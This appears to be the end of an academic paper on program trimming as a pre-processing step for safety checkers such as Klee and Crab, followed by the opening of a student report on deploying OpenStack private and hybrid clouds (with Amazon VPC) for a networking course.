<td>5967 (35%)</td> <td>49 (-31%)</td> <td>44 (-39%)</td> <td>14844</td> </tr> <tr> <td>TrimL + KleeR</td> <td>149 (+18%)</td> <td>152 (+26%)</td> <td>5699 (38%)</td> <td>48 (-32%)</td> <td>40 (-44%)</td> <td>14850</td> </tr> </tbody> </table> Figure 4 compares the number of benchmarks solved by the original version of Klee (using BFS) with its variants using program trimming. Specifically, the x-axis shows how many benchmarks were solved (i.e., identified as safe or unsafe) by each variant (sorted by running time), and the y-axis shows the corresponding running time per benchmark. For instance, we can see that TrimL + KleeEFS solves 246 benchmarks within less than one second each, whereas the original version of Klee only solves 203 benchmarks. Summary: Overall, the results shown in Table 3 and Figure 4 demonstrate that program trimming significantly improves the effectiveness and performance of a mature, state-of-the-art symbolic execution tool. In particular, program trimming allows Klee to find more bugs and prove more programs correct within a given resource limit independently of its search strategy. 7.3 Threats to Validity We identified these threats to the validity of our experiments: - **Sample size**: We used 439 programs, most of which, however, are taken from the SV-COMP benchmarks, a widely-used and established set of verification tasks. - **Safety checkers**: We evaluate our technique using two safety checkers, which, however, are mature and representative of two program analysis techniques. - **Trimming configurations**: We only presented experiments using a selection of the different configurations that Trimmer provides (see Section 6). However, all of these configurations are orthogonal to each other, and we evaluated a large variety of them to demonstrate the benefits of our technique. 8 RELATED WORK The ideas in this paper are related to a long line of previous work on program transformations and safety precondition inference. **Program slicing.** One of the most well-known program simplification techniques is program slicing, which removes program statements that are not relevant to some criterion of interest (e.g., value of a variable at some program point) [1, 15, 85, 86]. A program slice can be computed either statically or dynamically and includes both forward and backward variants. Program trimming differs from traditional program slicing in two ways: first, trimming focuses on removing execution paths as opposed to statements; second, it is meant as a pre-processing technique for safety checkers rather than a transformation to aid program understanding. In particular, a typical slicing tool may not produce compilable and runnable code that could be consumed by subsequent safety checkers. More semantic variants of program slicing have also been considered in later work [5, 20, 30, 47, 55, 65]. For instance, Jhala and Majumdar propose path slicing to improve the scalability of software model checkers [65]. In particular, path slicing eliminates all operations that are irrelevant toward the reachability of the target location in a given program path. Unlike program trimming, path slicing is not used as a pre-processing step and works on a single program path that corresponds to a counterexample trace. Prior work has also considered how to slice the program with respect to a predicate [20, 30, 47, 55]. Such techniques can be useful for program understanding, for example, when the user only wants to see statements that affect a given condition (e.g., the predicate of a conditional). In contrast, program trimming is not meant as a program understanding technique and removes program paths that are irrelevant for a given safety property. Furthermore, the trimmed program is not meant for human consumption, as it semantically prunes program paths through the insertion of assume statements. Slicing has been used before invoking a program analyzer [22, 23, 44, 56, 63, 64, 76]. A key difference with these approaches is that the result of trimming is valid code, which compiles and runs, instead of an abstract representation, such as a control flow graph or model. **Pre-processing for program analyzers.** In the same spirit as this paper, prior work has also used program transformations to improve the precision or scalability of program analyzers [24, 26, 27, 54, 67, 84, 88]. For instance, a transformation for faster goal-directed search [67] moves all assertions to a single main procedure with the goal of speeding up analysis. Another program transformation... called loop splitting aims to improve the precision of program analyzers by turning multi-phase loops into a sequence of single-phase loops [84]. However, neither of these techniques instrument the program with assumptions to guide safety checking tools. Recent techniques rely on the verification results of a full-fledged analyzer, such as an abstract interpreter or a model checker, to guide automatic test case generation tools [24, 26, 34, 35] or other static analyzers [13, 25, 27, 88], some even using slicing as an intermediate step [34]. In contrast, program trimming is more lightweight by not relying on previous analyzers and, thus, can be used as a pre-processing step for any safety checker. Precondition inference. The use of precondition inference dates back to the dawn of program verification [37]. Most verification techniques infer a sufficient condition for program safety and prove the correctness of the program by showing the validity of this condition [8, 10, 21, 37, 48, 59–61, 78]. In this work, we do not aim to infer the weakest possible safety precondition; instead, we use lightweight, modular static analysis to infer a sufficient condition for safety. Furthermore, we use safety conditions to prune program paths rather than to verify the program. Program trimming hinges on the observation that the negation of a sufficient condition for property $P$ yields a necessary condition for the negation of $P$. Prior program analysis techniques also exploit the same observation [39–41, 90]. For this reason, this duality has been used to perform modular path-sensitive analysis [39] and strong updates on elements of unbounded data structures [40, 41]. While most program analysis techniques focus on the inference of sufficient preconditions to guarantee safety, some techniques also infer necessary preconditions [32, 33, 73, 74, 79]. For example, Verification Modulo Versions (VMV) infers both necessary and sufficient conditions and utilizes previous versions of the program to reduce the number of warnings reported by verifiers [74]. Similarly, necessary conditions are inferred to repair the program in such a way that the repair does not remove any “good” traces [73]. Finally, the techniques described by Cousot et al. infer necessary preconditions, which are used to improve the effectiveness of the Code Contracts abstract interpreter [32, 33, 45]. Abductive reasoning. There has been significant work on program analysis using abductive reasoning, which looks for a sufficient condition that implies a desired goal [3, 19, 38, 42, 43, 71, 91]. Our analysis for computing safety conditions can be viewed as a form of abductive reasoning in that we generate sufficient conditions that are stronger than necessary for ensuring safety. However, we perform this kind of reasoning in a very lightweight way without calling an SMT solver or invoking a logical decision procedure. Modular interprocedural analysis. The safety condition inference we have proposed in this paper is modular in the sense that it analyzes each procedure independently of its callers. There are many previous techniques for performing modular (summary-based) analysis [2, 19, 39, 81, 89]. Our technique differs from these approaches in several ways: First, our procedure summaries only contain safety preconditions, but not post-conditions, as we handle procedure side effects in a very conservative way. Second, we do not perform fixed-point computations and achieve soundness by initializing summaries to false. Finally, we use summary-based analysis for program transformation rather than verification. Property-directed program analysis. There is a significant body of work that aims to make program analyzers property directed. Many of these techniques, such as BLAST [12, 57, 58], SLAM [4, 6, 7], and YOGI [52, 80] rely on counterexample-guided abstraction refinement (CEGAR) [29] to iteratively refine an analysis based on counterexample traces. Another example of a property-directed analysis is the IC3/PDR algorithm [16, 62], which iteratively performs forward and backward analysis for bounded program executions to decide reachability queries. Although abstract interpretation is traditionally not property directed, there is recent work [82] on adapting and rephrasing IC3/PDR in the framework of abstract interpretation. In contrast, we propose a general pre-processing technique to make any eager program analysis property directed. Path-exploration strategies. Most symbolic execution and testing techniques utilize different strategies to explore the possible execution paths of a program. For example, there are strategies that prioritize “deeper paths” (in depth-first search), “less-traveled paths” [72], “number of new instructions covered” (in breadth-first search), “distance from a target line” [75], or “paths specified by the programmer” [83]. In the context of symbolic execution, program trimming can be viewed as a search strategy that prunes safe paths and steers exploration toward paths that are more likely to contain bugs. However, as shown in our experiments, our technique is beneficial independently of a particular search strategy. 9 CONCLUSION In this paper, we have proposed program trimming, a program simplification technique that aims to reduce the number of execution paths while preserving safety. Program trimming can allow any safety checker to be goal directed by pruning execution paths that cannot possibly result in an assertion violation. Furthermore, because our proposed trimming algorithm is very lightweight, it can be used as an effective pre-processing tool for many program analyzers. As shown by our evaluation, program trimming allows an abstract interpreter, namely Crab, to verify 21% more programs while cutting running time by 30%. Trimming also allows Klee, a dynamic symbolic execution engine, to find more bugs and verify more programs within a given resource limit. In future work, we plan to investigate the impact of program trimming on other kinds of program analyzers, such as bounded model checkers. We also plan to investigate alternative program trimming algorithms and strategies. ACKNOWLEDGMENTS We would like to thank Cristian Cadar and Martin Nowack for their help with Klee. We would also like to thank the main developer of Crab, Jorge Navas, for his help with Crab and for his positive feedback on the usefulness of program trimming. We are grateful to Microsoft for partly funding the first three authors and to the anonymous reviewers for their constructive feedback. This work is supported by AFRL Award FA8750-15-2-0996 and NSF Award #1453386. The views and conclusions contained herein are those of the authors and should not be interpreted as necessarily representing the official policies or endorsements, either expressed or implied, of DARPA or the U.S. Government.
{"Source-Url": "http://www.cs.utexas.edu/~isil/program-trimming.pdf", "len_cl100k_base": 14782, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 49115, "total-output-tokens": 15721, "length": "2e13", "weborganizer": {"__label__adult": 0.0003306865692138672, "__label__art_design": 0.0002884864807128906, "__label__crime_law": 0.0003104209899902344, "__label__education_jobs": 0.0005130767822265625, "__label__entertainment": 5.459785461425781e-05, "__label__fashion_beauty": 0.00013256072998046875, "__label__finance_business": 0.0001556873321533203, "__label__food_dining": 0.00029921531677246094, "__label__games": 0.0006318092346191406, "__label__hardware": 0.0008058547973632812, "__label__health": 0.00034165382385253906, "__label__history": 0.00021278858184814453, "__label__home_hobbies": 8.51750373840332e-05, "__label__industrial": 0.00031185150146484375, "__label__literature": 0.0002301931381225586, "__label__politics": 0.0002386569976806641, "__label__religion": 0.00040602684020996094, "__label__science_tech": 0.011993408203125, "__label__social_life": 7.510185241699219e-05, "__label__software": 0.004184722900390625, "__label__software_dev": 0.9775390625, "__label__sports_fitness": 0.0002923011779785156, "__label__transportation": 0.0004804134368896485, "__label__travel": 0.00018262863159179688}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 61181, 0.02171]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 61181, 0.35749]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 61181, 0.88138]], "google_gemma-3-12b-it_contains_pii": [[0, 5366, false], [5366, 11233, null], [11233, 18363, null], [18363, 22499, null], [22499, 29783, null], [29783, 35876, null], [35876, 43265, null], [43265, 48761, null], [48761, 54299, null], [54299, 61181, null], [61181, 61181, null], [61181, 61181, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5366, true], [5366, 11233, null], [11233, 18363, null], [18363, 22499, null], [22499, 29783, null], [29783, 35876, null], [35876, 43265, null], [43265, 48761, null], [48761, 54299, null], [54299, 61181, null], [61181, 61181, null], [61181, 61181, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 61181, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 61181, null]], "pdf_page_numbers": [[0, 5366, 1], [5366, 11233, 2], [11233, 18363, 3], [18363, 22499, 4], [22499, 29783, 5], [29783, 35876, 6], [35876, 43265, 7], [43265, 48761, 8], [48761, 54299, 9], [54299, 61181, 10], [61181, 61181, 11], [61181, 61181, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 61181, 0.05398]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
bd09cbaea01d438fc63547f03aa1995cfaa3b1f1
Summary: In this research the OpenStack framework is used to build a private, public and hybrid cloud for the System and Networking education of the University of Amsterdam. Discussed are the setup used and problems encountered while building it. ## Index <table> <thead> <tr> <th>Section</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>Introduction</td> <td>2</td> </tr> <tr> <td>Background</td> <td>2</td> </tr> <tr> <td>Clouds in the SNE environment</td> <td>5</td> </tr> <tr> <td>3.1 Advantages of clouds to SNE</td> <td>5</td> </tr> <tr> <td>3.2 Research Questions</td> <td>5</td> </tr> <tr> <td>Cloud design and the choice for OpenStack</td> <td>6</td> </tr> <tr> <td>4.1 General cloud design</td> <td>6</td> </tr> <tr> <td>4.2 OpenStack design</td> <td>7</td> </tr> <tr> <td>4.2.1 OpenStack Nova (compute) components</td> <td>7</td> </tr> <tr> <td>4.2.2 Swift (storage)</td> <td>9</td> </tr> <tr> <td>4.2.3 Glance (provisioning)</td> <td>9</td> </tr> <tr> <td>4.2.4 Managing OpenStack</td> <td>10</td> </tr> <tr> <td>4.3 Amazon virtual private cloud types and choices</td> <td>10</td> </tr> <tr> <td>OpenStack configuration and clouds setup</td> <td>11</td> </tr> <tr> <td>5.1 OpenStack configuration</td> <td>11</td> </tr> <tr> <td>5.2 Private cloud setup</td> <td>11</td> </tr> <tr> <td>5.2.1 Private cloud setup according to the reference design</td> <td>12</td> </tr> <tr> <td>5.2.2 DHCP- &amp; Flat-networking models</td> <td>12</td> </tr> <tr> <td>5.2.3 Private cloud setup using StackOps</td> <td>13</td> </tr> <tr> <td>5.3 Public cloud (Amazon)</td> <td>14</td> </tr> <tr> <td>Results</td> <td>14</td> </tr> <tr> <td>Conclusion</td> <td>15</td> </tr> <tr> <td>Discussion</td> <td>16</td> </tr> <tr> <td>References</td> <td>17</td> </tr> <tr> <td>Appendix</td> <td>19</td> </tr> <tr> <td>I. Initial configuration according to reference design</td> <td>19</td> </tr> <tr> <td>OpenStack configuration files</td> <td>19</td> </tr> <tr> <td>Addressing</td> <td>20</td> </tr> <tr> <td>II. Secondary setup using StackOps</td> <td>21</td> </tr> <tr> <td>Firewall configuration</td> <td>22</td> </tr> <tr> <td>III. Encountered errors during initial setup</td> <td>24</td> </tr> </tbody> </table> 1 Introduction The research explained in this report was conducted for the System and Network Engineering education at the University of Amsterdam. It is part of the course “Research Project 1”. This course gives students one month to conduct a research. Because of this time frame, decisions were made that limit the technical scope of this research. The goal of this research is to find out whether or not a cloud framework can be deployed successfully in the System and Network Engineering educational environment. To answer this question, first we explain the background of cloud computing. Then we explain why cloud computing can be advantageous for the System and Network Engineering education. Following, the questions used in this research will be given. Then we will describe the approach we took. Our method will be described after explaining the reasons for selecting a specific cloud framework. This is necessary because the practical part of the research depends on the exact cloud framework used. After reading this report the reader should be able to: - Identify the upsides and downsides of different types of cloud environments. - Have an overview of available cloud frameworks. - Identify pitfalls which can be encountered when building cloud environments. 2 Background The cloud is these days often considered as a valuable resource not only in businesses, but also in educational environments. The advantages of improved scalability, agility, consolidation and cost efficiency in comparison to regular server based computing are leveraged already to some extent in universities [1]. In this chapter we describe the development of cloud computing and how its advantages are achieved. **Clustering, Scalability** In classic server based computing a user would log in to a physical machine which runs the required service. An example of a service which such a physical server would host is e-mail. A physical server has a maximum amount of users it is able to serve. The main reason being that a physical machine can only hold a certain amount of physical resources (being disks for storage and processors for computational power). Due to increasing amounts of users, more and more expensive servers need to be bought or they need to be upgraded. To be able to serve the same amount of users as one big server, a method was developed to cluster smaller (and cheaper) machines together. By using clusters, services could be spread over multiple machines and as a side effect risks of downtime were also mitigated. This mitigation was achieved by making sure that the software running on top of these systems would take care of outages not only of disks or processors, but complete machines in a cluster. As an added effect, these systems had the advantage of being more scalable than classic servers, since servers could be added and removed as needed. A downside to clusters is that programs written for classical operating systems can not run on a cluster. Since classical applications need to run on physical servers, running non-cluster operating systems, the advantages of cluster computing could only be utilized to a certain extent. **Consolidation, Virtualization** The increasing capabilities of physical servers (more computational power and storage) on the other hand, lead to the development of methods to do the exact opposite of clustering, consolidation. Consolidation being methods to run multiple services on a single server as opposed to running a single service on multiple servers. Although the UNIX time sharing system enabled concurrent usage of systems already in the early stages of server based computing, methods of extended segregation... of processes were devised for added security. Examples of these so called “Sandbox” methods are the BSD jails and Unix chroot environments. A method developed at a later time, allowed to run not only one but multiple of these classical operating systems not directly on physical hardware, but on top of a so called “hypervisor”. This method is known as virtualization and consists of a software layer running on the physical hardware and takes care of the distribution of physical resources amongst the operating systems which run on top of it. Virtualized operating systems are also known as virtual machines (VM’s). Virtualization increased security by ensuring services did not run in the same environment and increased options for consolidation, since it became possible to run services running on different operating systems to be hosted on the same physical machine. Provisioning, Agility Fully utilizing the capacity of clusters was also an issue. When running services directly on top of physical hardware, it is not possible to plan the capacity of a server on the average amount of users. Servers should be prepared to handle a peak capacity. Unfortunately this means that servers are idle a great deal of their time. Therefore methods were devised to dynamically reconfigure servers to handle a varying set of computational tasks, depending on the demand of these tasks. This is primarily done by a combination of automated installation of operating systems (this is also known as provisioning) and automatic reconfiguration achieved through custom scripting, network booting and/or specialized software. Examples of tools used for automatic configuration management are Puppet and Cfengine. Through the use of provisioning and automated configuration management, it is possible to switch between the tasks servers need to execute relatively fast and makes for increased agility. Putting it all together: Clouds By combining methods for clustering, virtualization, provisioning and configuration management a flexible, agile clustered as well as consolidated environment can be built. This is what is generally called a cloud. A cloud has the scale advantage of a clustered environment and also the advantage of virtualization, which enables it to run classical applications on classical operating systems. Besides, the combined effect of provisioning and virtualization enables full utilization of available hardware, without the need for downtime. In effect it can be seen as a “best of all worlds” of all of the forms of computation described above. The necessary hypervisors, configuration- and networking software, can be tied together using custom scripts. However, frameworks exist which integrate this functionality to any certain extent. We will discuss the various properties of these frameworks in chapter 4.1 “General cloud design”. IaaS, PaaS, SaaS All the discussed forms of computing can be offered as a hosted service. Depending on the extent of access offered to the system, there is a distinction in three forms, namely IaaS, PaaS and SaaS. - **SaaS**: “software as a service” and is used to indicate hosted software solutions ready to be used by end users. Examples are web applications. - **PaaS**: “platform as a service”, indicates a set of programming interfaces, which enable developers to build SaaS applications on top of a cloud or cluster. Examples are Google App Engine and Windows Azure. - **IaaS**: “infrastructure as a service”, providers of this type of service offer the possibility to manage and host your own operating systems and software in a hosted virtualized environment. The biggest public service providers of this type of service are currently Amazon and Rackspace. Public/Private/Hybrid Cloud Cloud platforms hosted by public service providers are known as “public clouds”. It is also possible to host clouds on a private infrastructure. It can be done either by combining applications with custom scripting or by using specialized frameworks. Clouds hosted on a private infrastructure are also known as “private clouds”. It is also possible to mix public and private infrastructures together. The extents to which infrastructures are tied together vary. It can be only a connection through which data automatically flows from a company LAN to a SaaS provider for processing. It can be an extra set of virtual webservers, to add additional capacity to an existing webserving farm. A cluster of virtual servers of which a part run in the public cloud and another part runs in the private cloud. Clouds which are mixed are called hybrid clouds. Public cloud service providers, often provide additional services to build hybrids. Amazon, for example, provides its “Virtual Private Cloud” (VPC) services. This service allows cloud builders to connect clouds with an IPsec tunnel, offering the possibility of a shared IP-space. 3 Clouds in the SNE environment Now that a common ground in cloud computing is established, it is time to discuss its relevance to the System and Network Engineering (SNE) education. We will do this by discussing the advantages and requirements of clouds to the SNE education. 3.1 Advantages of clouds to SNE Currently the education provides all students with their own physical server to run the required experiments on. Unfortunately this solution is not very flexible, expensive and limits the number of students being able to participate in the education. Moving to a cloud environment can be beneficial to the education. By pooling the physical resources and building a (private) cloud infrastructure, the following advantages can be achieved: - Consolidation, more students can be hosted on the same amount of hardware - Flexibility, student VM’s can more easily be migrated to other hardware. This can be beneficial when there are for example hardware defects or a temporary demand for more processing power. Attaching this private infrastructure to a public cloud environment might also be advantageous. It can add the ability of the cloud environment to scale out, without adding additional hardware to the private environment. This allows for the hosting of additional VM’s and allows more students to take part in the education. Although we could also investigate the possibility of running the complete environment exclusively in a public cloud without making use of a private environment, we want to fully utilize existing infrastructure. How do we want to realize these advantages Although it is possible to build a (private) cloud manually by using custom scripts and hypervisors, we want to make use of a framework. We expect it takes less time to use an existing framework than manually “build a cloud”. We also want to find out, whether a framework can actually provide what the education needs. After we have built the private cloud, we want to connect to a public cloud service provider, in order to create a hybrid. Due to the type of services the education needs to offer, the only type of cloud service provider which can be used is one that provides “Infrastructure as a Service”. Requirements In order to determine whether the solution can be used within the education, we have determined that the solution should at least be able to let students: - Set up their own Linux and Windows (virtual) machines. - Set up their own (virtual) networks and routes. - Delegate IP-space - Run Internet services like DNS and e-mail. - Secure and administer these environments 3.2 Research Questions Considering these requirements, our research questions will be: - Is it possible to execute SNE-education practica in the {public/private/hybrid} cloud? - Can connectivity be achieved on a level which allows the creation of custom layer 3 (IP) networks by users of this environment? - Can full cloud transparency be achieved? With full cloud transparency we mean virtual machines behave the same whether they are in the public or private parts of a hybrid cloud. They should be able to operate in a shared IP-space and not need modifications to run in another environment. Having this ability greatly simplifies the management of a hybrid environment. 4 Cloud design and the choice for OpenStack The goal of this section is to discuss cloud design and make a choice from available cloud frameworks. We will do this by first looking at general cloud design. After that we will give further detail to the selected cloud-framework for the private cloud. Finally we will show the available options for connecting this private cloud to a public cloud. 4.1 General cloud design Clouds consist of a few main components (figure 1). At the base of the system is the hypervisor (Xen, KVM, VMware) running directly on a physical server. Hypervisors provide an abstraction layer which enables the dynamic allocation of physical resources. These physical resources are accessed via virtual machines (VM's). To distribute VM's amongst the nodes, the hypervisors on the nodes need to be managed. **Virtual infrastructure managers** A “virtual infrastructure manager” (VIM) is more hypervisor oriented and focuses on giving administrators more control of launching and migrating VM’s [6]. An example of how this control is achieved is by providing a direct interface to the hypervisor through an API (libvirt [9]). Examples of VIM’s are OpenNebula [6] and VMware vSphere [7]. **Cloud frameworks** The distribution can also be managed by making use of a cloud framework. Cloud frameworks focus more on interfacing with users and at the same time try to decrease the management complexity of a cloud infrastructure. This is achieved by providing access to the resources via more generic Amazon EC2 and S3 compatible API’s. Besides, they offer options for users to directly access isolated parts of the cloud, for example by using SSH. Examples of cloud frameworks are VMware’s vCloud [8], Eucalyptus [9] and OpenStack [4]. Since cloud frameworks are focused on exposing cloud resources to users, rather than being built to serve administrators as with virtual infrastructure managers, only a cloud framework will be considered. In this way the necessity to build an interface on top of a VIM can be avoided. VMware’s vCloud is a cloud framework, however it is proprietary and, therefore, it is not a suitable candidate to be used in environment like that of the SNE-education, which focuses on the use of open-standards, -software and -security [10]. Since the development of cloud frameworks is still in Moving SNE to the Cloud 4 Cloud design and the choice for OpenStack its early stages, another important consideration is the active development base. Recently though, the major Linux software vendors Red Hat and Canonical announced support for OpenStack, with their respective distributions Fedora and Ubuntu. Where Ubuntu used to ship Eucalyptus as a main component in their “cloud foundation technology” [12], they switched to OpenStack to be their leading cloud platform. Besides these two companies, also Citrix, Dell, Intel, NASA and Cisco have opted for OpenStack as the default cloud platform. This can give OpenStack an advantage in the long run. 4.2 OpenStack design Figure 2: OpenStack architecture [8] with components: Nova (Compute), Swift (Storage), Glance (Provisioning), Environments are secured by setting up iptable firewalls. The OpenStack cloud framework consists of three main components which itself are split in smaller parts that can run independently. The components manage computational power, storage and the provisioning of virtual machines to physical nodes. 4.2.1 OpenStack Nova (compute) components Nova is the core of the OpenStack framework. It consists itself of parts, which are responsible for interfacing and managing the creation, removal and distribution of instances among the physical nodes in the cloud. A fully operating cloud can be run using only this component. It consists of the following parts: - Nova-API: The nova-API is the component which is used to interact with the infrastructure from the outside. This component is also used by client programs which can be run from a local desktop. The API allows users amongst others to; upload VM’s, start - and stop VM’s, add persistent storage and view the status of servers in the cloud environment. - Nova-volume: The nova-volume component is used for attaching persistent storage volumes to instances. This is useful since spawned instances are not persistent themselves. Nodes running the nova-volume component take care of the creation and attaching and detaching of volumes to instances. Volumes are stored either locally on the node or using a specialized Moving SNE to the Cloud 4 Cloud design and the choice for OpenStack component, like Swift. Swift is the distributed storage system for OpenStack and will be discussed later on in this chapter. - **Nova-scheduler**: The nova-scheduler distributes the API-calls among the various nodes, it does this while taking into account factors as load, memory, zone availability and processor architecture. - **Nova-compute**: Nodes running the nova-compute component are the ones actually hosting the virtual machines. They manage the lifecycle of an instance. Instances are manipulated through an API which enables the framework to boot, reboot and terminate instances, attach and detach volumes and retrieve the consoles output. The framework is hypervisor agnostic and currently supports the following hypervisors; KVM, UML, XEN, Hyper-V and QEMU. - **Nova-network**: The nova-network component manages the traffic flow between the various nodes in the network. It creates the necessary networking configuration (addresses, iptables, bridging) when launching instances, applies the configured security groups and, if applicable, VLAN’s. A security group is collection of rules which apply to a set of VM’s which run in the same subnetwork. It can be used, for example to allow access to port 80 on a collection of webservers. In a setup where the nova-network component is running on a central node in the network, each VM running on a compute node is connected to this component through a virtual bridge. In this way, each VM can get an address directly from the nova-network component, see the figure below. ![Figure 3: Traffic flow to WAN in OpenStack](image) In this figure the traffic flow from a VM to the internet is shown. The VM has a private address in a range defined for the group this VM belongs to (in this case, the 10.0.0.0/24 range). It runs on a compute node which is in the same subnet as the central node (192.168.1.0/24). The compute node and the central node can be connected either directly or via a switch. Traffic from the VM is routed through dynamically created layer 2 routing rules on the compute node. The nova-compute component running on this node creates these rules. On the central node the traffic flow is managed by the nova-network component. It creates a virtual bridge with the necessary rules to receive and send traffic from the VM’s. The nova-network Moving SNE to the Cloud 4 Cloud design and the choice for OpenStack Component also ensures the creation of layer 3 routing rules when VM’s need to be reachable from the WAN. This is done by network address translation (NAT). In figure 3 the central node was assigned the public address 203.0.113.1 and the subnet 203.0.113.16/28. Addresses from this subnet can be delegated to the VM’s through the nova-network component running on the central node. In this figure the network component can create a mapping between the 10.0.0.2 address assigned to the running VM and 203.0.113.20, an address from the public range assigned to the central node. Although OpenStack also supports IPv6 it is not yet fully developed and is therefore not considered in this research. Currently three network models are supported in OpenStack: **VLAN-networking** Packets originating from VM’s are tagged with a VLAN-id by the nova-compute component when leaving the compute node and are sent to the node running the nova-network component. The nova-network component runs a dnsmasq service for each VLAN. The dnsmasq program acts in this case as a DHCP-server. In this way all instances within the same VLAN are in the same subnet. To be able to use this kind of setup, the switches connecting the internal network should support VLAN-tagged ethernet frames. **Flat-networking** Ethernet frames originating from instances running in the cloud are routed to the central node through ebtables [14] and get an address directly from the nova-network component. **DHCP-networking** Ethernet frames originating from instances running on compute nodes are routed to the central node through ebtables and get an address from a dnsmasq service running on the central node. Initially all instances get a single IP-address, assigned through one of these methods. Optionally additional addresses can be assigned to an instance. These are however not assigned to the instances directly, but network address translation is used at the central node to map these addresses to the private IP-addresses of the instances (figure 3). Unfortunately this means that, without adding extra routing rules in the instances, it will not be possible to delegate public IP-space within instances, when using flat- or DHCP-networking. 4.2.2 Swift (storage) Swift provides a distributed storage system for OpenStack. It offers options for storing up to a million of objects in a single container. Objects however have a 5 GiB size limit. Objects are replicated and distributed among a predefined number of storage nodes. Replication occurs according to a weak consistency model and the consistency between replicated objects can therefore deteriorate under increasing load. The weak consistency is caused by the fact that objects are initially stored on node in the pool and subsequently copied over to other nodes from this node. However, when updating the object on one node, other copies of the object are not locked for reading. Other instances requesting the same object from a different storage node might therefore acquire different data. Swift can also be used for storing virtual machines and cloud apps. 4.2.3 Glance (provisioning) Glance is the OpenStack component that provides virtual machine images for the compute component (Nova). It can be setup to use multiple back ends, namely the OpenStack object storage system Swift, Amazon’s “Simple Storage Service” (Amazon S3) or a hybrid in which interfacing occurs through Swift. 4.2.4 Managing OpenStack In OpenStack management of cloud resources is achieved by communicating with the system through the nova-API. Running components can be manipulated locally through the “nova-manage” command. This enables the local administrator to start, update, stop and reboot all components like nova-compute, nova-network and the hypervisor. The framework can also be controlled through the cloud administrator account, which can manage for example instances, storage volumes, projects and subnetworks. An OpenStack project is a collection of cloud resources, which in itself can be considered a cloud. When creating a project, a cloud admin assigns a user and a fixed private subnet to this project. The user can then upload virtual machines to the cloud and spawn instances of this virtual machine in the assigned project. These instances will get a private IP-address from the assigned subnet, public IP-addresses can be appointed by the users or the cloud admin. 4.3 Amazon virtual private cloud types and choices In order to build a hybrid cloud the private cloud needs to be connected to a public cloud. For this research we will be making using of the Amazon public cloud. This public cloud provider has been selected because it is the biggest provider of public cloud services [15]. However, to determine whether or not full cloud transparency can be achieved, it was also necessary to attach our private cloud to the Amazon cloud. The most obvious way to connect these clouds was to make use of an Amazon “Virtual Private Cloud” VPC [12], an extra service of the cloud service provider Amazon to connect a private cloud to the Amazon EC2 public cloud. **Option 1** Set up virtual layer 2 connectivity between the public and private clouds. This could be achieved by creating a tunnel. An advantage of this kind of setup is that it requires the least amount of changes in the OS3 infrastructure. It can be expected however that having connectivity at layer 2 directly between the clouds would create too much traffic between the clouds, since all broadcast and multicast messages from higher layer protocols will be sent across this tunnel. Besides, Amazon does not offer this kind of connectivity in its cloud. **Option 2** Set up a tunnel to every node running in this cloud. This would create lots of overhead traffic, since all communication to the Amazon cloud would be happening multiple times to make sure each compute node gets the necessary information. This might also cause added latency. **Option 3** The other solution for connecting the local networking infrastructure to the Amazon cloud is to use a routing protocol. The goal of a routing protocol is to distribute routes across a networking infrastructure. This is exactly what is needed to connect the two sites. Amazon offers support for the “Border Gateway Protocol” (BGP) routing protocol with its Amazon Virtual Private Cloud (VPC). It is a collection of services which provide options used to build a private cloud inside the Amazon cloud, the options offered are: - VPC with a Single Public Subnet Only - VPC with Public and Private Subnets - VPC with Public and Private Subnets and Hardware VPN Access - VPC with a Private Subnet Only and Hardware VPN Access From these options the last two can be considered to be suitable candidates. They provide the option to connect to the local infrastructure through a VPN. Within this tunnel Amazon provides a virtual BGP-router which will be used to make sure that VM’s with their delegated IP-space are reachable from either side of the clouds and from the internet. Therefore, an Amazon VPC was created. 5 OpenStack configuration and clouds setup The different cloud frameworks have been discussed. Also a selection and overview of these frameworks have been given. Therefore we can now focus on the setup of these private and public cloud frameworks. First we define ways in which OpenStack can be applied within the System and Network Engineering education. From these ways we select one to base our setup on. This will be described in section 5.2 “Private cloud setup”. Finally the way in which the connection between the OpenStack and Amazon cloud will be built is described. 5.1 OpenStack configuration In this setup a VM was installed to test the features necessary for successful deployment within the education. These are the features described in the section requirements of chapter 2. Besides these basic requirements, another concern is how students can access this system and how they should use it. Although this can be considered a requirement as well as those described in chapter 2, we discuss them now, since the features vary depending on the framework used. The OpenStack management model supports multiple ways of allowing students access to cloud resources. Classical approach One could be a more classical approach in which, instead of giving each student one physical server, all students get one instance. On top of this one instance, they would then have to build all experiments (virtualization, delegation of public IP-space, run internet services, secure environments). Although this would make the management overhead relatively low compared to other options, it is not very practical. When considering the requirements stated in chapter 2, we see that students need to be able to run multiple virtual machines. The only way this can be achieved when allowing students one instance is by forcing them to run nested virtual machines. This however causes increased overhead is still very experimental and therefore not suitable for this research. Project per student The other approach could be setting up an OpenStack project for each student, as is described 3.6 “Managing OpenStack”. This kind of approach would allow students to administer their own cloud, set up their own virtual machines, run both Linux and Windows and manage their own IP-space. Since this setup makes it possible to spread the experiments across multiple VM’s, more different types of experiments become possible in this way. A setup like this fulfils most of the requirements stated in chapter 2, therefore we will use this type 